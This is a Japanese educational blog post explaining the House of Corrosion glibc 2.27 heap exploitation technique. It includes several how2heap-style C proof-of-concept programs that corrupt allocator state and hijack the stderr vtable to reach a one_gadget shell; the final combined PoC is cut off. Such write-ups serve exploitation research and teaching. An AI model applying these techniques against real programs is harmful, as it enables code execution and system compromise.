newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 21.0】House of Corrosion : 使えればいいじゃんな覚書

keywords

House of Corrosion / totally leakless exploit / global_max_fast / relative overwrite via fastbinsY / glibc2.27 / step by step heap-tech

 

 

0: 参考

【A】 本家

github.com

 

【B】ptr-yudaiさんの日本語解説記事

ptr-yudai.hatenablog.com

 

【C】FileExploitationについて

dhavalkapil.com

 

 

1: イントロ

House of Corrosion (以下HoC)は2019年1月25日に CptGibbon 氏によって発表された heap exploitation 手法である
自分の確認できる範囲で解説記事は
  【A】本家の詳細な解説英語記事
  【B】ptr-yudaiさんのCTF形式のPoC付き日本語解説記事
の2つだけであった

本エントリではhow2heap形式のPoCを軸として解説を進めていく


尚、本エントリは _int_malloc()/ _int_free()/ malloc_consolidation()/ unlink 等のmalloc.cの内容をを理解していることを前提としている

 

 

2: 概要

HoC でできることを概観する

できること

  • Advantage1: 任意の8byte-aligned高位アドレスに巨大な値を書き込む
  • Advantage2: 任意の8byte-aligned高位アドレスに任意の値を書き込む
  • Advantage3: 任意の8byte-aligned高位アドレスにある値を任意の8byte-aligned高位アドレスに対して書き写す
  • これらの書き込み/読み込みを、オフセットのみ既知のlibcシンボルに対して行うことができる
  • 以上を踏まえて、一切のアドレスリーク無しに4bit-bruteforceのみでシェルを取ること

制約

  • UAFがあること
  • 任意サイズのmallc()が任意回数行えること

 

 

やはり一番の特徴はアドレスリークが不要なことであろう
詳しくは後述するが、これは main_arena中のfastbinsY を中心にしてexploitをするから可能なことである

尚これも理由は後述するが、 ここでいう「高位(higher)」アドレスとは fastbinsY よりも高位のアドレスを意味する

 

 

 

3: 3つのAdvantage

HoC では1つの準備によって3つの利点が生じる
以下ではその準備と、3つの利点をPoC付きで説明していく

 

準備

fastbins に入る最大サイズは global_max_fast (以下gmf) の値によって決まる (デフォルトで 0x80)
このsize以下で tcaching されないchunkは、free()されると main_arena 中の fastbinsY (type: mfastbinptr (*)[10]) に格納されることになる

fastbinsY にはsize:0x20以上のエントリが0x10byte毎に格納される
FIFO方式であるから、free()されると該当のfastbinsYエントリにはfreeした chunk のアドレスが、freeしたchunkの fd にはfastbinsYのアドレスが書き込まれることになる
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L4231

HoC ではこのgmfを大きな値に書き換えることによって、任意sizeのchunkをこのfastbinsに入れられるようにすることを準備とする

 

gmf 書き換えには unsortedbin attack を用いる
ただの unsortedbin attack ゆえ、以下で軽く説明するだけに留める


free() 時に gmf 以上のsizeをもつ chunk は unsortedbin に繋がれる
この unsortedbin は main_arena->bins (type: (mchunkptr ()[254])*) の [0,1] に実体を持ち、main_arenaの先頭からのオフセットは0x70である

f:id:smallkirby:20200224205406p:plain

 

よって freed chunk の bk には main_arena+0x70のアドレスが入ることになる
このアドレスと gmf は下4nibbleを除いて同じである
また、libcbaseの下3nibbleは必ず0x000であるためこれは既知の値となる
故にgmfのアドレスは第4nibble目の 4bit のエントロピーを持ち、十分にunsortedbin attackでbruteforce可能であると言える
即ち、 main_arena+0x70 の下2byte(内4nibble目は総当り) を書き換えることで、次のmalloc()時に凡そ1/16の確率で gmf を main_arena+0x70の値で上書きすることができる


以上を unsortedbin attack の説明とする

 

Advantage1: 任意の8byte-aligned高位アドレスに巨大な値を書き込む

これで fastbins に任意サイズのchunkが入るようになった
上に述べたような fastbinsY へのアドレスの書き込みによって、任意の8byte-alignedアドレスに巨大な値(heapのアドレス)を書き込めるようになることが分かるであろう
その際には、目的のアドレスに書き込まれるように malloc() するサイズを調整しなければならないのだが
これは以下の公式で計算できる

size=(distance2)+0x20size = (distance * 2) + 0x20\\

ここで distance mfastbinsY と 目的のアドレスのオフセットである

さて、このAdvantage1の PoC が以下である
尚、本来この unsortedbin attacok は4bitのエントロピーを持つのだが
いちいち try&error をするのが面倒なため、PoCでは予め用意したアドレスをもとに100%成功するようにしている
本エントリの目的がHoCを理解することであるため、煩わしい部分は省略していく
但し、DEBUGマクロを外すことで実際のシチュエーションと同じようにアドレス未知の状態で実行できるようにもしている

 

//Advantage1: Write a huge value to almost arbitrary 8byte-aligned higher addr

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>

typedef unsigned long long ull;

#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // calc and get some addrs
  char num;
  ull *addr_stdout = stdout;
  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8);
  ull *attack;
  ull *target = 0;
  ull temp;
  ull *temp_ptrs[10];
  printf("Advantage 1\n");
  printf("_________________________\n\n");
  printf("* unsortedbin attack *\n");
  printf("[+]&global_max_fast: %p\n",addr_gmf);

  // alloc some chunks (0x30 for avoiding consolidation)
  unsigned long *a = malloc(0x450); //for unsortedbin attack
  malloc(0x30);
  unsigned long *a2 = malloc(0x450);
  malloc(0x30);
  unsigned long *a3 = malloc(0x450);
  malloc(0x30);

  // prepare for Advantage 1
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  attack = malloc(size_stderr);
  free(a); //connect to unsortedbin

  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
    temp = (ull)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((ull)a+8+ix) = num;
  }
#endif

  //unsorted bin attack:
  printf("[*]unsortedbin attack...\n"); 
  malloc(0x450);
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  
  //check whether the unsorted attack is success or not
  if(*addr_gmf != (ull)addr_main_arena+0x60){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("\n[!]SUCCESS: unsortedbin attack\n");
  }


  /**Advantage 1: Overwrite almost arbitrary addr with chunk addr**/
  printf("\n* Advantage 1 *\n");
  printf("[+]Target address: %p (stderr)\n",stderr);
  printf("[+]stderr: %llx\n",*(ull*)stderr);
  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
    for(int ix=0;ix!=7;++ix){ //consume tcache
      temp_ptrs[ix] = malloc(size_stderr);
    }
    for(int ix=0;ix!=7;++ix){
      free(temp_ptrs[size_stderr]);
    }
  }
  printf("[*]attack...\n");
  free(attack);

  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("\n\nCan you understand? Debug by yourself now.\n");
  //debugging time
  WAIT

  return 0;
}

 

今回は target を stderr とした
実行すると以下のようになる

f:id:smallkirby:20200224205437p:plain



 

stderr が heap のアドレスで上書きされていることが分かるであろう

 

Advantage2: 任意の8byte-aligned高位アドレスに任意の値を書き込む

Advantage1では書き込める値が heap のアドレスに限定されていたが
freed chunk の fd をUAF等を利用して任意の値に書き変え
その後でもう一度同じサイズのmalloc()をすることで、下図のように任意の値をtargetに書き込めるようになる

f:id:smallkirby:20200224205457p:plain



 

以下のPoCでは、 target を stderr 、書き込む値を0xDEADBEEFCAFEBABEとしている

//Advantage2: Write arbitrary value to almost arbitrary 8byte-aligned higher addr
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>

typedef unsigned long long ull;

#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // calc and get some addrs
  char num;
  ull *addr_stdout = stdout;
  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8);
  ull *attack;
  ull *target = 0;
  ull temp;
  ull *temp_ptrs[10];
  printf("Advantage 2\n");
  printf("_________________________\n\n");
  printf("* unsortedbin attack *\n");
  printf("[+]&global_max_fast: %p\n",addr_gmf);

  // alloc some chunks (0x30 for avoiding consolidation)
  unsigned long *a = malloc(0x450); //for unsortedbin attack
  malloc(0x30);
  unsigned long *a2 = malloc(0x450);
  malloc(0x30);
  unsigned long *a3 = malloc(0x450);
  malloc(0x30);

  // prepare for Advantage 1
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  attack = malloc(size_stderr);
  free(a); //connect to unsortedbin

  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
    temp = (ull)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((ull)a+8+ix) = num;
  }
#endif

  //unsorted bin attack:
  printf("[*]unsortedbin attack...\n"); 
  malloc(0x450);
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  
  //check whether the unsorted attack is success or not
  if(*addr_gmf != (ull)addr_main_arena+0x60){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("\n[!]SUCCESS: unsortedbin attack\n");
  }


  /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/
  printf("\n* Advantage 2 *\n");
  printf("[+]Target address: %p (stderr)\n",stderr);
  printf("[+]stderr: %llx\n",*(ull*)stderr);
  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
    for(int ix=0;ix!=7;++ix){ //consume tcache
      temp_ptrs[ix] = malloc(size_stderr);
    }
    for(int ix=0;ix!=7;++ix){
      free(temp_ptrs[size_stderr]);
    }
  }
  printf("[*]attack1...\n");
  free(attack);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("[*]attack2...\n");
  attack[0] = 0xdeadbeefcafebabe;
  malloc(size_stderr);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("\n\nCan you understand? Debug by yourself now.\n");
  //debugging time
  WAIT

  return 0;
}

 

実行すると以下のようになる

f:id:smallkirby:20200224205518p:plain

 

stderr が0xDEADBEEFCAFEBABEで書き換えられていることが分かるであろう

 

Advantage3: 任意の8byte-aligned高位アドレスの値を任意の8byte-aligned高位アドレスに書き写す

Advantage3では任意のアドレスから値を任意のアドレスに対して書き写す(transplantation)ができる
ここでは値を持ってくるアドレスを SRC, そこにある値を VALUE, 値を書き込む先のアドレスを DSTとする

まずAdvantage1 でDST に入るようなサイズの2つのchunk A,Bを用意する
ここでA,Bは下位1byteを除いて同じアドレスに位置するくらい近くに置かなくてはならない
但しAdv1で使うサイズは通常非常に大きく、普通にmallocをしてもそんなに近くは配置されないため
予めoverlapped chunk/UAF等を利用してA/Bを隣接させておく必要がある

その上で B->A の順にfree()をして fake fastbins に繋ぐ
この時点では A の fd には B のアドレスが入っている
UAF等を利用してAの fd の下1byteのみを書き換えて、下図のようなAのみの循環リストを作る
(前述したように下1byteのみならばエントロピーは0である)
この状態でもう一度 DST サイズのmallocをしてAを取得する

f:id:smallkirby:20200224205604p:plain



 

ここでoverlapped chunkを利用してAのサイズを SRC のサイズに書き換える
(ここで使用するoverlapped chunkは後述するようにA/Bを近くに置く過程で自動的に手に入る)
この状態で A をfreeするとAは SRC に繋がるため、Aの fd には VALUE が書き込まれる

f:id:smallkirby:20200224205546p:plain



 

この上でもう一度 DST のサイズでmallocすると、 DST には fd として VALUE が書き込まれることが分かるであろう

f:id:smallkirby:20200224205634p:plain



 

以上のように値の transplantation を行うことができる
更に、Aに VALUE が書き込まれている状態(画像の2枚目の状態)でUAF等を用いて VALUE の一部を書き換えることで
ある値を一部分だけ変更して移植することもできる
これを tamper in flight と呼ぶ

使い方としては、libcの既知のアドレスが格納されているアドレスから値を持ってきて、その下位1byteを書き換えることで任意のアドレスに目的のlibcシンボルのアドレスを書き込むと行ったことが考えられる

(実際にこの手法は以下で説明するシェルを取る方法で使われている)

 

PoCは以下の通り
SRC stderr (Adv2で0xDEADBEEFCAFEBABEを書き込んでいる)、 DSTstderr+0x60 としている
overlapped chunkを作る作業はマクロ化している

//Advantage3: Transplant value from almost arbitrary higher addr from almost arbitrary higher addr
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>
#include<assert.h>

#define ull unsigned long long
#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

//A and tmp1 should be the same except for LSByte
#define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size)\
  malloc(padd_size);\
  tmp1 = malloc(0x50);\
  A = malloc(0x20);\
  B = malloc(0x20);\
  tmp2 = malloc(0x50);\
  assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\
  free(tmp1);\
  free(tmp2);\
  ((char*)tmp2)[0] = LSB_A;\
  tmp2 = malloc(0x50);\
  tmp1 = malloc(0x50);\
  printf("[-]A: %p\n",A);\
  printf("[-]B: %p\n",B);\
  printf("[-]tmp1: %p\n",tmp1);\
  printf("[-]tmp2: %p\n",tmp2);\
  tmp1[1] = (sz+0x10)|1;\
  tmp1[6] = 0;\
  tmp1[7] = (sz+0x10)|1;


ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // calc and get some addrs
  char num;
  ull *addr_stdout = stdout;
  ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
  ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
  ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8); //SRC
  ull size_stderr0x60 = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8 + 0x60); //TARGET
  ull *attack,*A,*B,*tmp1,*tmp2,*padd, *chunk_fake_size;
  ull *target = 0;
  ull temp;
  ull *temp_ptrs[10];
  printf("Advantage 3\n");
  printf("_________________________\n\n");
  printf("* unsortedbin attack *\n");
  printf("[+]&global_max_fast: %p\n",addr_gmf);

  // alloc some chunks (0x30 for avoiding consolidation)
  unsigned long *a = malloc(0x450); //for unsortedbin attack
  malloc(0x30);
  unsigned long *a2 = malloc(0x450);
  malloc(0x30);
  unsigned long *a3 = malloc(0x450);
  malloc(0x30);

  // prepare for preparation
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  attack = malloc(size_stderr);
  
  // prepare for Advantage 3
  GET_CLOSE_CHUNK(A,B,tmp1,tmp2,size_stderr0x60,0x70,0x30); //LSBytes sensitive!!
  chunk_fake_size = malloc(size_stderr0x60 + 0x100); //make fake size for fake fastbin's next chunk
  for(int ix=0;ix!=(size_stderr0x60+0x100)/0x10;++ix){
    *(chunk_fake_size+0+ix*2) = 0x0;
    *(chunk_fake_size+1+ix*2) = 0x30|1;
  }

  //free and UAF
  free(a); //connect to unsortedbin
  
  //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
    temp = (ull)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((ull)a+8+ix) = num;
  }
#endif

  //unsorted bin attack:
  printf("[*]unsortedbin attack...\n"); 
  malloc(0x450);
  printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
  
  //check whether the unsorted attack is success or not
  if(*addr_gmf != (ull)addr_main_arena+0x60){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("\n[!]SUCCESS: unsortedbin attack\n");
  }


  /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/
  printf("\n* Advantage 2 *\n");
  printf("[+]Target address: %p (stderr)\n",stderr);
  printf("[+]stderr: %llx\n",*(ull*)stderr);
  if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
    for(int ix=0;ix!=7;++ix){ //consume tcache
      temp_ptrs[ix] = malloc(size_stderr);
    }
    for(int ix=0;ix!=7;++ix){
      free(temp_ptrs[size_stderr]);
    }
  }
  printf("[*]attack1...\n");
  free(attack);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  printf("[*]attack2...\n");
  attack[0] = 0xdeadbeefcafebabe;
  malloc(size_stderr);
  printf("[!]stderr: %llx\n",*(ull*)stderr);

  /**Advantage 3: Transplant the value**/
  printf("\n* Advantage 3 *\n");
  printf("[+]Target addr where transplant from stderr: %p\n",(ull*)((ull)stderr+0x60));
  printf("[+]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60));

  free(B);
  free(A);
  ((char*)A)[0] = 0x70; //overwrite fd's LSByte
  WAIT
  A = malloc(size_stderr0x60);

  tmp1[1] = (0x10 + size_stderr)|1; //overwrite A' sz to src(fastbin of B)
  free(A);

  tmp1[1] = (0x10 + size_stderr0x60)|1; //to avoid error when malloc
  printf("[*]attack...\n");
  malloc(size_stderr0x60);
  printf("[!]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60));

  printf("\n\nCan you understand? Debug by yourself now.\n");

  //debugging time
  WAIT

  return 0;
}

 

実行すると以下のように stderr+0x60VALUE が書き込まれていることが分かるであろう

f:id:smallkirby:20200224205709p:plain



 

4: シェルを取るまでの概観

以上の3つのAdvantageを組み合わせるとシェルを取ることができる
しかも大きな特徴として

尚自分自身、heap関係はようやく最近入門したと言ってもいいくらいには理解してきたのだが、ファイルストリーム系に関してはまだまだ理解が甘い部分が多いため
間違ったことを述べないよう本エントリではその辺はざっくりとした説明のみを行う
詳細は参考【B】【C】を見ていただきたい

なお近日中にFileExploitationについては整理したエントリを書くつもりである

 

シェルを取るまでの概略は以下の通り

  • heapを整備する
  • global_max_fast を書き換える (unsortedbin attack)
  • stderr を改竄する (とりわけ vtable を書き換え _IO_str_overflow() が呼ばれるようにし、その中での *((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); で onegadgetが呼ばれるようにする
  • _int_malloc() の largebins の処理の最中に assert() を呼ばせ、stderrを動かすことで改竄した vtable を使わせる

 

以下では各ステップをPoCと共に説明する
尚、HoCは出力系が一切なくアドレスリークも無い時に真価を発揮するのだが
本PoCでは便宜上出力系は途中まで生かしておく
(それでも途中でvtableを書き換え、mode=1とするため出力できなくなるのだが)

参考【A】【B】と違い、 how2heap形式での説明を行っている

また順序構成は本家とは変えており、 "Heap Feng Shui" についてはその名前を出さずに説明を行っている

 

5: heapを整備する

本exploitはその最中に大量の memory corruption を作り出すため、最初にheapがきれいな状態でheapを整備しておく必要がある

各々の操作の詳しい説明は後で必要になった時に説明することとして
取り敢えずやっておくべき処理は以下のとおりである 

largebinに繋ぐ用のchunkを作る

後々 largebin に繋がるように、1024byte 以上の chunk を作っておく
このchunkはこの後 largebin に繋いだ後、 NON_MAINARENAフラグを立てる
すると int_malloc() の処理で assert() が呼ばれることになる(これは最終ステージで使う)
尚、 largebin 相当のサイズの chunk が unsortedbin に繋がった後それ以上のサイズのmalloc()が行われたときのみ largebin に繋がれることに注意

  printf("* Preparing for some chunks ...*\n");
  ull *padding = malloc(0x20);
  ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later
 

global_max_fast を書き換えるための unsortebin attack 用のchunkを作る

HoC の一番とっかかりである gmf の書き換えをする unsortedbin attack 用のchunkを作っておく

書き換え前の global_max_fast よりも小さい値 (<0x80) ならば何でもOK

但し、途中でconsolidationされないように、間に chunk を挟んでおくなどする必要がある

  ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast
 

overlapped chunkとfake sizeを作る

stderr_IO_buf_endと stderrの_allocate_bufferを書き換えるためにAdv3を使うのだが、そこで必要となる overlapped chunk を用意しておく
これは単純作業のためマクロ化している

また、Adv3では chunk(A) のサイズを書き換えることで値の transplantation を行うのであったが、 このサイズの書き換えをした上で malloc/free をしても怒られないように
続く領域を fake size で埋めておく (sizeはMIN_SIZE以上システムメモリサイズ以下ならば何でも良い)

尚この際に A の fd を自分自身を指すように書き換えなければならないため
Aが配置されるアドレスの下1byteは事前に調べておき、動くことのないようにしておく必要がある (やはり前述したように heap の下3nibbleは固定であるため、個々で調べた値は変更を加えない限り何回プログラムを動かしても同じである)

  // Prepare for Advantage 3
  /* LSB SENSITIVE !!! */
  GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90);
  GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0);

  chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk
  for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){
    *(chunk_fake_size+0+ix*2) = 0x0;
    *(chunk_fake_size+1+ix*2) = 0x30|1;
  }


Adv2用のchunkを作る

Adv2による任意値の書き込みに使う用のchunkを大量に作っておく
数が多いだけで、全て fastbinsY と target のオフセットをサイズ公式に入れた値分だけmalloc()しているだけである

  //Malloc chunks for Advantage2
  dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end);
  pedantic_chunk = malloc(size_formula(0x1cf8)-0x8);
  stderr_mode_chunk = malloc(size_stderr_mode);
  stderr_flags_chunk = malloc(size_stderr_flags);
  stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr);
  stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base);
  stderr_vtable_chunk = malloc(size_stderr_vtable);
  stdout_mode_chunk = malloc(size_stdout_mode);


6: largebinにchunkを繋げる

最終フェーズで assert() を呼ぶだめに必要な largebin に先程用意したchunkを繋げる
 free() 後に malloc() する chunk は largebin 用の chunk よりも大きなサイズでないとunsortedbin が分割されそこから取得されてしまうので注意
その後UAF等を用いて NON_MAINARENA を立てる
これで largebin の検査の際にこのchunkに遭遇すると assert() が起こるようになる

  //Connect to largebin with NON_MAINARENA 1
  printf("\n* Connecting to largebin...*\n");
  free(largebin);
  malloc(0x500);
  ((ull*)(((ull)largebin)-0x10))[0] = 0;
  ((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA

7: Unsortedbin attack で gmf を書き換える

やるだけなので省略する
尚、全てまとめた完成版のPoCは本エントリの最後に載せてある


8: Unsortedbinのbkを正常のchunkにする

これも先程述べた largebin に関係している
malloc() の際には largebin の探索の前に unsortedbin の探索が走るわけだが
普通に unsortedbin attack をしただけの状態だと unsortedbin->bkdumped_main_arena_end を指している
そしてこの dumped_main_arena は chunk として見ると bk にNULLが入ってしまっている

f:id:smallkirby:20200224210034p:plain

 

よってこれを正常な値にしてやらないと
largebinの探索にまで入らず、 assert() が起こらないことになる
そこでこの辺りをあたかも通常のunsortedであるかのように見せるために、 sizebk に該当する部分を書き換えてやる

  // Make unsortedbin's bk VALID
  printf("\n* Make unsortedbin's bk VALID...*\n");
  ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size
  free(pedantic_chunk); //fd/bk
  printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8)));
  printf("global_max_fast      : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8)));

9: vtableを始めとするストリームの改竄

あとは ADV2/ADV3 を用いて諸々の書き換えを行うだけである
ADV3では前述した tamper in flight もできるようなマクロを作ってある

まず今回は出力系が生きているため stderr/stdoutmode を1にすることで一旦殺す
(そうしないとストリームを改竄した際にクラッシュする)

その後、_IO_str_overflow() に於いて flags を用いた処理で止まらないように stderr->flagsを0にしておく
また、確実に出力処理がなされるように stderr->_IO_write_ptr を非常に大きな値にしておく

  ADV2(stderr_mode_chunk, 0x1, size_stderr_mode);
  ADV2(stdout_mode_chunk, 0x1, size_stdout_mode);
  ADV2(stderr_flags_chunk, 0x0, size_stderr_flags);
  ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr);

改竄はもう少し続く
stderr->_IO_buf_end には何かしら大きな値を入れておく必要がある (ここの理由がまだ分かってない。。。)
だが後述するように stderr->_IO_buf_base との差分が重要になってくるため、これは既知の値である必要がある
そこで、ここには _morecore に入っている値 (=__default_morecoreのアドレス) を入れておくことにする

また、 _IO_str_overflow()call rax gadget を呼ばせるのだが
この呼び出しをする際の rax の値が _IO_buf_end - _IO_buf_base になっており、これを onegadget のアドレスにしなければならない


先程 _IO_buf_end には _default_morecore のアドレスを入れたから
ここには __default_morecore と call rax gadget のオフセットを入れておく
__morecore は後でもう一度使うため、もう一度 malloc() することで正常な値を戻しておく

  // Transplant __morecore's value to stderr->file._IO_buf_end
  ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0);
  tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく
  A1 = malloc(size_morecore); 

 

あと2点だけ
結局のところやりたいことは
assert() => _IO_file_jumps->_IO_new_file_xsputn
となるところを書き換えて
assert() => _IO_str_jumps->_IO_str_overflow => _allocate_buffer == call rax => onegadget
という流れを作ることである

よって後は _IO_file_jumps を _IO_str_jumps に書き換え、しかも xsputn に該当する部分が _IO_str_overflow に該当するようにずらしておく

f:id:smallkirby:20200224210203p:plain

 

f:id:smallkirby:20200224210218p:plain

 

そのオフセットは0x20であるから、vtableには _IO_str_jumps-0x20 のアドレスを入れておけば良い

  // Write LSByte of _IO_str_jumps on stderr->vtable  
  ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short));

 

 

そして最後に _allocate_buffer を onegadget に書き換えてしまえば終わりである
尚この最後の書き換えは tampler in flight を用いて
__default_morecore の下2byteを書き換えることで行う
(このような下2byteの書き換えはPoCの中で3箇所で行われているが、最初の書き換えに成功した時点で残りの書き換えには全て成功するため、結局のところ全体が有するエントロピーは4bitに変わりない)

  // Transplant __morecore's value to _s._allocate_buffer
  ADV3(A2,B2,tmp21,0x90,size_stderr_s_alloc,size_morecore,1,LSBs_call_rax);


さて、長い長い改竄が終わった
以上の書き換えを行うと、 stderr は以下のようになる

f:id:smallkirby:20200224210106p:plain

 

f:id:smallkirby:20200224210122p:plain



 

10: assert()で発火させる

これらの準備をした上で小さなサイズの malloc() を すると以下の箇所で assert() (_malloc_assert()) が呼ばれる
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3829

これによって上に示したようなフローで stderr を動かすことができ、シェルが取れるはずである

 

 

 

11: PoC

各Advantageはマクロ化している
DEBUGマクロを外すことで実際のエントロピーを失わずに実験することができる

// House of Corrosion : PoC in the format of how2heap
// Even though DEBUG is defined, this exploit has some uncertainity due to the libc load addr's entropy

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>
#include<assert.h>

#define ull unsigned long long
#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

//A and tmp1 should be the same except for LSByte
#define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size) \
  malloc(padd_size);\
  tmp1 = malloc(0x50);\
  A = malloc(0x20);\
  B = malloc(0x20);\
  tmp2 = malloc(0x50);\
  assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\
  free(tmp1);\
  free(tmp2);\
  ((char*)tmp2)[0] = LSB_A;\
  tmp2 = malloc(0x50);\
  tmp1 = malloc(0x50);\
  printf("[-]tmp1: %p\n",tmp1);\
  printf("[-]tmp2: %p\n",tmp2);\
  tmp1[1] = (sz+0x10)|1;\
  tmp1[6] = 0;\
  tmp1[7] = (sz+0x10)|1;\
  printf("[-]A: %p\n",A);\
  printf("[-]B: %p\n",B);

#define ADV2(chunk,value,size) \
  free(chunk);\
  chunk[0] = value;\
  malloc(size);

